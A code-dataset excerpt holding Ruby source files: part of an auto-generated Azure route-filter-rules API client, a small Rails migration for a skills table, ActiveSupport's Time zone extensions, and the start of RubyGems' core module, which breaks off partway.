# @param resource_group_name [String] The name of the resource group.
# @param route_filter_name [String] The name of the route filter.
# @param rule_name [String] The name of the rule.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def get_with_http_info(resource_group_name, route_filter_name, rule_name, custom_headers:nil)
get_async(resource_group_name, route_filter_name, rule_name, custom_headers:custom_headers).value!
end
#
# Gets the specified rule from a route filter.
#
# @param resource_group_name [String] The name of the resource group.
# @param route_filter_name [String] The name of the route filter.
# @param rule_name [String] The name of the rule.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def get_async(resource_group_name, route_filter_name, rule_name, custom_headers:nil)
fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil?
fail ArgumentError, 'route_filter_name is nil' if route_filter_name.nil?
fail ArgumentError, 'rule_name is nil' if rule_name.nil?
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/routeFilters/{routeFilterName}/routeFilterRules/{ruleName}'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'resourceGroupName' => resource_group_name,'routeFilterName' => route_filter_name,'ruleName' => rule_name,'subscriptionId' => @client.subscription_id},
query_params: {'api-version' => @client.api_version},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:get, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::Network::Mgmt::V2020_05_01::Models::RouteFilterRule.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Creates or updates a route in the specified route filter.
#
# @param resource_group_name [String] The name of the resource group.
# @param route_filter_name [String] The name of the route filter.
# @param rule_name [String] The name of the route filter rule.
# @param route_filter_rule_parameters [RouteFilterRule] Parameters supplied to
# the create or update route filter rule operation.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RouteFilterRule] operation results.
#
def create_or_update(resource_group_name, route_filter_name, rule_name, route_filter_rule_parameters, custom_headers:nil)
response = create_or_update_async(resource_group_name, route_filter_name, rule_name, route_filter_rule_parameters, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# @param resource_group_name [String] The name of the resource group.
# @param route_filter_name [String] The name of the route filter.
# @param rule_name [String] The name of the route filter rule.
# @param route_filter_rule_parameters [RouteFilterRule] Parameters supplied to
# the create or update route filter rule operation.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [Concurrent::Promise] promise which provides async access to http
# response.
#
def create_or_update_async(resource_group_name, route_filter_name, rule_name, route_filter_rule_parameters, custom_headers:nil)
# Send request
promise = begin_create_or_update_async(resource_group_name, route_filter_name, rule_name, route_filter_rule_parameters, custom_headers:custom_headers)
promise = promise.then do |response|
# Defining deserialization method.
deserialize_method = lambda do |parsed_response|
result_mapper = Azure::Network::Mgmt::V2020_05_01::Models::RouteFilterRule.mapper()
parsed_response = @client.deserialize(result_mapper, parsed_response)
end
# Waiting for response.
@client.get_long_running_operation_result(response, deserialize_method)
end
promise
end
#
# Gets all RouteFilterRules in a route filter.
#
# @param resource_group_name [String] The name of the resource group.
# @param route_filter_name [String] The name of the route filter.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [Array<RouteFilterRule>] operation results.
#
def list_by_route_filter(resource_group_name, route_filter_name, custom_headers:nil)
first_page = list_by_route_filter_as_lazy(resource_group_name, route_filter_name, custom_headers:custom_headers)
first_page.get_all_items
end
#
# Gets all RouteFilterRules in a route filter.
#
# @param resource_group_name [String] The name of the resource group.
# @param route_filter_name [String] The name of the route filter.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def list_by_route_filter_with_http_info(resource_group_name, route_filter_name, custom_headers:nil)
list_by_route_filter_async(resource_group_name, route_filter_name, custom_headers:custom_headers).value!
end
#
# Gets all RouteFilterRules in a route filter.
#
# @param resource_group_name [String] The name of the resource group.
# @param route_filter_name [String] The name of the route filter.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def list_by_route_filter_async(resource_group_name, route_filter_name, custom_headers:nil)
fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil?
fail ArgumentError, 'route_filter_name is nil' if route_filter_name.nil?
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/routeFilters/{routeFilterName}/routeFilterRules'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'resourceGroupName' => resource_group_name,'routeFilterName' => route_filter_name,'subscriptionId' => @client.subscription_id},
query_params: {'api-version' => @client.api_version},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:get, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::Network::Mgmt::V2020_05_01::Models::RouteFilterRuleListResult.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Deletes the specified rule from a route filter.
#
# @param resource_group_name [String] The name of the resource group.
# @param route_filter_name [String] The name of the route filter.
# @param rule_name [String] The name of the rule.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
#
def begin_delete(resource_group_name, route_filter_name, rule_name, custom_headers:nil)
response = begin_delete_async(resource_group_name, route_filter_name, rule_name, custom_headers:custom_headers).value!
nil
end
#
# Deletes the specified rule from a route filter.
#
# @param resource_group_name [String] The name of the resource group.
# @param route_filter_name [String] The name of the route filter.
# @param rule_name [String] The name of the rule.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def begin_delete_with_http_info(resource_group_name, route_filter_name, rule_name, custom_headers:nil)
begin_delete_async(resource_group_name, route_filter_name, rule_name, custom_headers:custom_headers).value!
end
#
# Deletes the specified rule from a route filter.
#
# @param resource_group_name [String] The name of the resource group.
# @param route_filter_name [String] The name of the route filter.
# @param rule_name [String] The name of the rule.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def begin_delete_async(resource_group_name, route_filter_name, rule_name, custom_headers:nil)
fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil?
fail ArgumentError, 'route_filter_name is nil' if route_filter_name.nil?
fail ArgumentError, 'rule_name is nil' if rule_name.nil?
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/routeFilters/{routeFilterName}/routeFilterRules/{ruleName}'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'resourceGroupName' => resource_group_name,'routeFilterName' => route_filter_name,'ruleName' => rule_name,'subscriptionId' => @client.subscription_id},
query_params: {'api-version' => @client.api_version},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:delete, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 202 || status_code == 200 || status_code == 204
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
result
end
promise.execute
end
#
# Creates or updates a route in the specified route filter.
#
# @param resource_group_name [String] The name of the resource group.
# @param route_filter_name [String] The name of the route filter.
# @param rule_name [String] The name of the route filter rule.
# @param route_filter_rule_parameters [RouteFilterRule] Parameters supplied to
# the create or update route filter rule operation.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RouteFilterRule] operation results.
#
def begin_create_or_update(resource_group_name, route_filter_name, rule_name, route_filter_rule_parameters, custom_headers:nil)
response = begin_create_or_update_async(resource_group_name, route_filter_name, rule_name, route_filter_rule_parameters, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# Creates or updates a route in the specified route filter.
#
# @param resource_group_name [String] The name of the resource group.
# @param route_filter_name [String] The name of the route filter.
# @param rule_name [String] The name of the route filter rule.
# @param route_filter_rule_parameters [RouteFilterRule] Parameters supplied to
# the create or update route filter rule operation.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def begin_create_or_update_with_http_info(resource_group_name, route_filter_name, rule_name, route_filter_rule_parameters, custom_headers:nil)
begin_create_or_update_async(resource_group_name, route_filter_name, rule_name, route_filter_rule_parameters, custom_headers:custom_headers).value!
end
#
# Creates or updates a route in the specified route filter.
#
# @param resource_group_name [String] The name of the resource group.
# @param route_filter_name [String] The name of the route filter.
# @param rule_name [String] The name of the route filter rule.
# @param route_filter_rule_parameters [RouteFilterRule] Parameters supplied to
# the create or update route filter rule operation.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def begin_create_or_update_async(resource_group_name, route_filter_name, rule_name, route_filter_rule_parameters, custom_headers:nil)
fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil?
fail ArgumentError, 'route_filter_name is nil' if route_filter_name.nil?
fail ArgumentError, 'rule_name is nil' if rule_name.nil?
fail ArgumentError, 'route_filter_rule_parameters is nil' if route_filter_rule_parameters.nil?
fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil?
fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
# Serialize Request
request_mapper = Azure::Network::Mgmt::V2020_05_01::Models::RouteFilterRule.mapper()
request_content = @client.serialize(request_mapper, route_filter_rule_parameters)
request_content = request_content != nil ? JSON.generate(request_content, quirks_mode: true) : nil
path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/routeFilters/{routeFilterName}/routeFilterRules/{ruleName}'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
path_params: {'resourceGroupName' => resource_group_name,'routeFilterName' => route_filter_name,'ruleName' => rule_name,'subscriptionId' => @client.subscription_id},
query_params: {'api-version' => @client.api_version},
body: request_content,
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:put, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200 || status_code == 201
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::Network::Mgmt::V2020_05_01::Models::RouteFilterRule.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
# Deserialize Response
if status_code == 201
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::Network::Mgmt::V2020_05_01::Models::RouteFilterRule.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Gets all RouteFilterRules in a route filter.
#
# @param next_page_link [String] The NextLink from the previous successful call
# to List operation.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RouteFilterRuleListResult] operation results.
#
def list_by_route_filter_next(next_page_link, custom_headers:nil)
response = list_by_route_filter_next_async(next_page_link, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# Gets all RouteFilterRules in a route filter.
#
# @param next_page_link [String] The NextLink from the previous successful call
# to List operation.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def list_by_route_filter_next_with_http_info(next_page_link, custom_headers:nil)
list_by_route_filter_next_async(next_page_link, custom_headers:custom_headers).value!
end
#
# Gets all RouteFilterRules in a route filter.
#
# @param next_page_link [String] The NextLink from the previous successful call
# to List operation.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def list_by_route_filter_next_async(next_page_link, custom_headers:nil)
fail ArgumentError, 'next_page_link is nil' if next_page_link.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = '{nextLink}'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
skip_encoding_path_params: {'nextLink' => next_page_link},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:get, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil?
result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::Network::Mgmt::V2020_05_01::Models::RouteFilterRuleListResult.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Gets all RouteFilterRules in a route filter.
#
# @param resource_group_name [String] The name of the resource group.
# @param route_filter_name [String] The name of the route filter.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RouteFilterRuleListResult] which provide lazy access to pages of the
# response.
#
def list_by_route_filter_as_lazy(resource_group_name, route_filter_name, custom_headers:nil)
response = list_by_route_filter_async(resource_group_name, route_filter_name, custom_headers:custom_headers).value!
unless response.nil?
page = response.body
page.next_method = Proc.new do |next_page_link|
list_by_route_filter_next_async(next_page_link, custom_headers:custom_headers)
end
page
end
end
end
end
| 46.471246 | 176 | 0.710838 |
28fcb7df0597ee6b2302c63523cdf7191bc66899 | 258 | class CreateSkills < ActiveRecord::Migration
def change
create_table :skills do |t|
t.integer :applicant_id
t.string :skill
t.integer :years_of_experience
t.integer :proficiency
t.timestamps null: false
end
end
end
| 19.846154 | 44 | 0.678295 |
87b5ad903a1384f49d3f185346660572d4c6137d | 4,336 | require "active_support/time_with_zone"
require "active_support/core_ext/time/acts_like"
require "active_support/core_ext/date_and_time/zones"
class Time
include DateAndTime::Zones
class << self
attr_accessor :zone_default
# Returns the TimeZone for the current request, if this has been set (via Time.zone=).
# If <tt>Time.zone</tt> has not been set for the current request, returns the TimeZone specified in <tt>config.time_zone</tt>.
def zone
Thread.current[:time_zone] || zone_default
end
# Sets <tt>Time.zone</tt> to a TimeZone object for the current request/thread.
#
# This method accepts any of the following:
#
# * A Rails TimeZone object.
# * An identifier for a Rails TimeZone object (e.g., "Eastern Time (US & Canada)", <tt>-5.hours</tt>).
# * A TZInfo::Timezone object.
# * An identifier for a TZInfo::Timezone object (e.g., "America/New_York").
#
# Here's an example of how you might set <tt>Time.zone</tt> on a per request basis and reset it when the request is done.
# <tt>current_user.time_zone</tt> just needs to return a string identifying the user's preferred time zone:
#
# class ApplicationController < ActionController::Base
# around_action :set_time_zone
#
# def set_time_zone
# if logged_in?
# Time.use_zone(current_user.time_zone) { yield }
# else
# yield
# end
# end
# end
def zone=(time_zone)
Thread.current[:time_zone] = find_zone!(time_zone)
end
# Allows override of <tt>Time.zone</tt> locally inside supplied block;
# resets <tt>Time.zone</tt> to existing value when done.
#
# class ApplicationController < ActionController::Base
# around_action :set_time_zone
#
# private
#
# def set_time_zone
# Time.use_zone(current_user.timezone) { yield }
# end
# end
#
# NOTE: This won't affect any <tt>ActiveSupport::TimeWithZone</tt>
# objects that have already been created, e.g. any model timestamp
# attributes that have been read before the block will remain in
# the application's default timezone.
def use_zone(time_zone)
new_zone = find_zone!(time_zone)
begin
old_zone, ::Time.zone = ::Time.zone, new_zone
yield
ensure
::Time.zone = old_zone
end
end
# Returns a TimeZone instance matching the time zone provided.
# Accepts the time zone in any format supported by <tt>Time.zone=</tt>.
# Raises an +ArgumentError+ for invalid time zones.
#
# Time.find_zone! "America/New_York" # => #<ActiveSupport::TimeZone @name="America/New_York" ...>
# Time.find_zone! "EST" # => #<ActiveSupport::TimeZone @name="EST" ...>
# Time.find_zone! -5.hours # => #<ActiveSupport::TimeZone @name="Bogota" ...>
# Time.find_zone! nil # => nil
# Time.find_zone! false # => false
# Time.find_zone! "NOT-A-TIMEZONE" # => ArgumentError: Invalid Timezone: NOT-A-TIMEZONE
def find_zone!(time_zone)
if !time_zone || time_zone.is_a?(ActiveSupport::TimeZone)
time_zone
else
# Look up the timezone based on the identifier (unless we've been
# passed a TZInfo::Timezone)
unless time_zone.respond_to?(:period_for_local)
time_zone = ActiveSupport::TimeZone[time_zone] || TZInfo::Timezone.get(time_zone)
end
# Return if a TimeZone instance, or wrap in a TimeZone instance if a TZInfo::Timezone
if time_zone.is_a?(ActiveSupport::TimeZone)
time_zone
else
ActiveSupport::TimeZone.create(time_zone.name, nil, time_zone)
end
end
rescue TZInfo::InvalidTimezoneIdentifier
raise ArgumentError, "Invalid Timezone: #{time_zone}"
end
# Returns a TimeZone instance matching the time zone provided.
# Accepts the time zone in any format supported by <tt>Time.zone=</tt>.
# Returns +nil+ for invalid time zones.
#
# Time.find_zone "America/New_York" # => #<ActiveSupport::TimeZone @name="America/New_York" ...>
# Time.find_zone "NOT-A-TIMEZONE" # => nil
def find_zone(time_zone)
find_zone!(time_zone) rescue nil
end
end
end
| 38.714286 | 130 | 0.641605 |
03facb6430560926e10344b77f57ef63a7ec8141 | 36,094 | # frozen_string_literal: true
# -*- ruby -*-
#--
# Copyright 2006 by Chad Fowler, Rich Kilmer, Jim Weirich and others.
# All rights reserved.
# See LICENSE.txt for permissions.
#++
require 'rbconfig'
require 'thread'
module Gem
VERSION = '2.6.7'
end
# Must be first since it unloads the prelude from 1.9.2
require 'rubygems/compatibility'
require 'rubygems/defaults'
require 'rubygems/deprecate'
require 'rubygems/errors'
##
# RubyGems is the Ruby standard for publishing and managing third party
# libraries.
#
# For user documentation, see:
#
# * <tt>gem help</tt> and <tt>gem help [command]</tt>
# * {RubyGems User Guide}[http://guides.rubygems.org/]
# * {Frequently Asked Questions}[http://guides.rubygems.org/faqs]
#
# For gem developer documentation see:
#
# * {Creating Gems}[http://guides.rubygems.org/make-your-own-gem]
# * Gem::Specification
# * Gem::Version for version dependency notes
#
# Further RubyGems documentation can be found at:
#
# * {RubyGems Guides}[http://guides.rubygems.org]
# * {RubyGems API}[http://rubygems.rubyforge.org/rdoc] (also available from
# <tt>gem server</tt>)
#
# == RubyGems Plugins
#
# As of RubyGems 1.3.2, RubyGems will load plugins installed in gems or
# $LOAD_PATH. Plugins must be named 'rubygems_plugin' (.rb, .so, etc) and
# placed at the root of your gem's #require_path. Plugins are discovered via
# Gem::find_files then loaded. Take care when implementing a plugin as your
# plugin file may be loaded multiple times if multiple versions of your gem
# are installed.
#
# For an example plugin, see the graph gem which adds a `gem graph` command.
#
# == RubyGems Defaults, Packaging
#
# RubyGems defaults are stored in rubygems/defaults.rb. If you're packaging
# RubyGems or implementing Ruby you can change RubyGems' defaults.
#
# For RubyGems packagers, provide lib/rubygems/defaults/operating_system.rb
# and override any defaults from lib/rubygems/defaults.rb.
#
# For Ruby implementers, provide lib/rubygems/defaults/#{RUBY_ENGINE}.rb and
# override any defaults from lib/rubygems/defaults.rb.
#
# If you need RubyGems to perform extra work on install or uninstall, your
# defaults override file can set pre and post install and uninstall hooks.
# See Gem::pre_install, Gem::pre_uninstall, Gem::post_install,
# Gem::post_uninstall.
#
# == Bugs
#
# You can submit bugs to the
# {RubyGems bug tracker}[https://github.com/rubygems/rubygems/issues]
# on GitHub
#
# == Credits
#
# RubyGems is currently maintained by Eric Hodel.
#
# RubyGems was originally developed at RubyConf 2003 by:
#
# * Rich Kilmer -- rich(at)infoether.com
# * Chad Fowler -- chad(at)chadfowler.com
# * David Black -- dblack(at)wobblini.net
# * Paul Brannan -- paul(at)atdesk.com
# * Jim Weirich -- jim(at)weirichhouse.org
#
# Contributors:
#
# * Gavin Sinclair -- gsinclair(at)soyabean.com.au
# * George Marrows -- george.marrows(at)ntlworld.com
# * Dick Davies -- rasputnik(at)hellooperator.net
# * Mauricio Fernandez -- batsman.geo(at)yahoo.com
# * Simon Strandgaard -- neoneye(at)adslhome.dk
# * Dave Glasser -- glasser(at)mit.edu
# * Paul Duncan -- pabs(at)pablotron.org
# * Ville Aine -- vaine(at)cs.helsinki.fi
# * Eric Hodel -- drbrain(at)segment7.net
# * Daniel Berger -- djberg96(at)gmail.com
# * Phil Hagelberg -- technomancy(at)gmail.com
# * Ryan Davis -- ryand-ruby(at)zenspider.com
# * Evan Phoenix -- evan(at)fallingsnow.net
# * Steve Klabnik -- steve(at)steveklabnik.com
#
# (If your name is missing, PLEASE let us know!)
#
# See {LICENSE.txt}[rdoc-ref:lib/rubygems/LICENSE.txt] for permissions.
#
# Thanks!
#
# -The RubyGems Team
module Gem
RUBYGEMS_DIR = File.dirname File.expand_path(__FILE__)
##
# An Array of Regexps that match windows Ruby platforms.
WIN_PATTERNS = [
/bccwin/i,
/cygwin/i,
/djgpp/i,
/mingw/i,
/mswin/i,
/wince/i,
]
GEM_DEP_FILES = %w[
gem.deps.rb
Gemfile
Isolate
]
##
# Subdirectories in a gem repository
REPOSITORY_SUBDIRECTORIES = %w[
build_info
cache
doc
extensions
gems
specifications
]
##
# Subdirectories in a gem repository for default gems
REPOSITORY_DEFAULT_GEM_SUBDIRECTORIES = %w[
gems
specifications/default
]
##
# Exception classes used in a Gem.read_binary +rescue+ statement. Not all of
# these are defined in Ruby 1.8.7, hence the need for this convoluted setup.
READ_BINARY_ERRORS = begin
read_binary_errors = [Errno::EACCES]
read_binary_errors << Errno::ENOTSUP if Errno.const_defined?(:ENOTSUP)
read_binary_errors
end.freeze
##
# Exception classes used in Gem.write_binary +rescue+ statement. Not all of
# these are defined in Ruby 1.8.7.
WRITE_BINARY_ERRORS = begin
write_binary_errors = []
write_binary_errors << Errno::ENOTSUP if Errno.const_defined?(:ENOTSUP)
write_binary_errors
end.freeze
@@win_platform = nil
@configuration = nil
@gemdeps = nil
@loaded_specs = {}
LOADED_SPECS_MUTEX = Mutex.new
@path_to_default_spec_map = {}
@platforms = []
@ruby = nil
@ruby_api_version = nil
@sources = nil
@post_build_hooks ||= []
@post_install_hooks ||= []
@post_uninstall_hooks ||= []
@pre_uninstall_hooks ||= []
@pre_install_hooks ||= []
@pre_reset_hooks ||= []
@post_reset_hooks ||= []
##
# Try to activate a gem containing +path+. Returns true if
# activation succeeded or wasn't needed because it was already
# activated. Returns false if it can't find the path in a gem.
def self.try_activate path
# finds the _latest_ version... regardless of loaded specs and their deps
# if another gem had a requirement that would mean we shouldn't
# activate the latest version, then either it would already be activated
# or if it was ambiguous (and thus unresolved) the code in our custom
# require will try to activate the more specific version.
spec = Gem::Specification.find_by_path path
return false unless spec
return true if spec.activated?
begin
spec.activate
rescue Gem::LoadError => e # this could fail due to gem dep collisions, go lax
spec_by_name = Gem::Specification.find_by_name(spec.name)
if spec_by_name.nil?
raise e
else
spec_by_name.activate
end
end
return true
end
def self.needs
rs = Gem::RequestSet.new
yield rs
finish_resolve rs
end
def self.finish_resolve(request_set=Gem::RequestSet.new)
request_set.import Gem::Specification.unresolved_deps.values
request_set.resolve_current.each do |s|
s.full_spec.activate
end
end
##
# Find the full path to the executable for gem +name+. If the +exec_name+
# is not given, the gem's default_executable is chosen, otherwise the
# specified executable's path is returned. +requirements+ allows
# you to specify specific gem versions.
def self.bin_path(name, exec_name = nil, *requirements)
# TODO: fails test_self_bin_path_bin_file_gone_in_latest
# Gem::Specification.find_by_name(name, *requirements).bin_file exec_name
raise ArgumentError, "you must supply exec_name" unless exec_name
requirements = Gem::Requirement.default if
requirements.empty?
find_spec_for_exe(name, exec_name, requirements).bin_file exec_name
end
def self.find_spec_for_exe name, exec_name, requirements
dep = Gem::Dependency.new name, requirements
loaded = Gem.loaded_specs[name]
return loaded if loaded && dep.matches_spec?(loaded)
specs = dep.matching_specs(true)
raise Gem::GemNotFoundException,
"can't find gem #{dep}" if specs.empty?
specs = specs.find_all { |spec|
spec.executables.include? exec_name
} if exec_name
unless spec = specs.first
msg = "can't find gem #{name} (#{requirements}) with executable #{exec_name}"
raise Gem::GemNotFoundException, msg
end
spec
end
private_class_method :find_spec_for_exe
##
# Find the full path to the executable for gem +name+. If the +exec_name+
# is not given, the gem's default_executable is chosen, otherwise the
# specified executable's path is returned. +requirements+ allows
# you to specify specific gem versions.
#
# A side effect of this method is that it will activate the gem that
# contains the executable.
#
# This method should *only* be used in bin stub files.
def self.activate_bin_path name, exec_name, requirement # :nodoc:
spec = find_spec_for_exe name, exec_name, [requirement]
Gem::LOADED_SPECS_MUTEX.synchronize { spec.activate }
spec.bin_file exec_name
end
##
# The mode needed to read a file as straight binary.
def self.binary_mode
'rb'
end
##
# The path where gem executables are to be installed.
def self.bindir(install_dir=Gem.dir)
return File.join install_dir, 'bin' unless
install_dir.to_s == Gem.default_dir.to_s
Gem.default_bindir
end
##
# Reset the +dir+ and +path+ values. The next time +dir+ or +path+
# is requested, the values will be calculated from scratch. This is
# mainly used by the unit tests to provide test isolation.
def self.clear_paths
@paths = nil
@user_home = nil
Gem::Specification.reset
Gem::Security.reset if defined?(Gem::Security)
end
##
# The path to standard location of the user's .gemrc file.
def self.config_file
@config_file ||= File.join Gem.user_home, '.gemrc'
end
##
# The standard configuration object for gems.
def self.configuration
@configuration ||= Gem::ConfigFile.new []
end
##
# Use the given configuration object (which implements the ConfigFile
# protocol) as the standard configuration object.
def self.configuration=(config)
@configuration = config
end
##
